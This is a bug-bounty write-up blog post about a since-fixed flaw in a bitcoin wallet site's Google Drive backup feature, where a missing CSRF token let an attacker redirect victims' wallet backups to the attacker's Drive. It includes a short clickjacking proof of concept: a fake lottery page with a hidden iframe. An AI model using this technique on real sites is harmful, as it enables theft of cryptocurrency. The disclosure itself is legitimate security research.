Saturday, 11 November 2017

Stealing bitcoin wallet backups from

Oauth, where many bugs arises :)

This was one of my finding for the bugbounty program of where  I was able to steal anyones bitcoin wallet backup of their account with negligible user interaction.

If you want to know what was this wallet backup feature meant for, you can check here

[P.S This feature has been removed after the bug was reported. Sad! ]

So basically it created a json file which was the backup of your account which you could
Download , Email yourself , or store it directly on your Gdrive and Dropbox accounts. The bad part was that if someone else gets your JSON file he can simply import it at and steal all your bitcoins from your account.

Now the bug was in the implementation of storing it directly to Dropbox and Google Drive .

I noticed once you click on Dropbox or Gdrive button you will be asked to login with your google or dropbox account and once its authorised blockchain will automatically store the backup file in the your dropbox or Gdrive using your access token.

When I looked more closely at all the requests , I found that if someone makes a Gdrive authentication at the end the redirect URI was something like this{YourGdriveToken}

Noticed something bad ? No csrf token yayy!!!!

So all I had to do was
1) authenticate my google account at
2) Grab my drive token
3) Send the below link to a victim.{MYGdriveToken}
4) Once the link is clicked, when the victim is logged in into his bitcoin wallet backup will be stored in my gdrive account

But a normal csrf is boring . So clickjacking will serve as a catalyst for our attack :)

Although the complete website has clickjacing protection but this URL was iframeable .

So final POC

<title>Some fancy bitcoin lottery page</title>
<p>You won a lottery just open this page when you are logged in to and amount will be credited to you </p>
<iframe sandbox="allow-scripts allow-forms" src="{Attackers Gdrive Token}" style="width:1%;height:1%"></iframe>

Once the victim lands on the page,  a hiding iframe will be loaded and the wallet will be stored on the attackers gdrive.

Bounty ?


They fixed the bug very quickly and indeed takes care of their security very seriously. Unfortunately after reporting this issue they took down the backup feature forever . Sorry for breaking the backup feature .

Shashank :)

1 comment:

Unknown said...

The ico listing serve informational purposes only. The Ico Listing does not provide investment forecast, recommendations or any consulting for that matter